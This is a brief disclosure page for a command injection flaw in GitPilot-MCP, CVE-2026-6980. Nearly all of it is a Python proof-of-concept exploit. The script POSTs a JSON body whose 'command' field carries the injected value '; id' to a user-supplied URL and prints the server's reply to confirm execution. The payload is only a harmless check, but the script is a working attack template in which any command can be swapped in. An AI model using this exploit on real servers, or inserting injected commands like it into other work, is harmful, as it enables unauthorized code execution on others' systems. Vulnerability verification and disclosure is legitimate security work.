CVE-2026-6980: GitPilot-MCP 命令注入漏洞

# PoC for CVE-2026-6980 # This script demonstrates the command injection vulnerability # by injecting a malicious payload into the 'command' parameter. import requests import sys def exploit(target_url): # The vulnerable parameter is 'command' in the 'repo_path' function # Payload attempts to execute 'id' command to verify execution payload = "; id" # Construct the data payload based on the vulnerable function data = { "command": payload } try: print(f"[*] Sending payload to {target_url}...") response = requests.post(target_url, json=data, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check the response for command execution output (e.g., uid=, gid=).") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python poc.py <target_url>") print("Example: python poc.py http://localhost:8000/repo_path") else: exploit(sys.argv[1])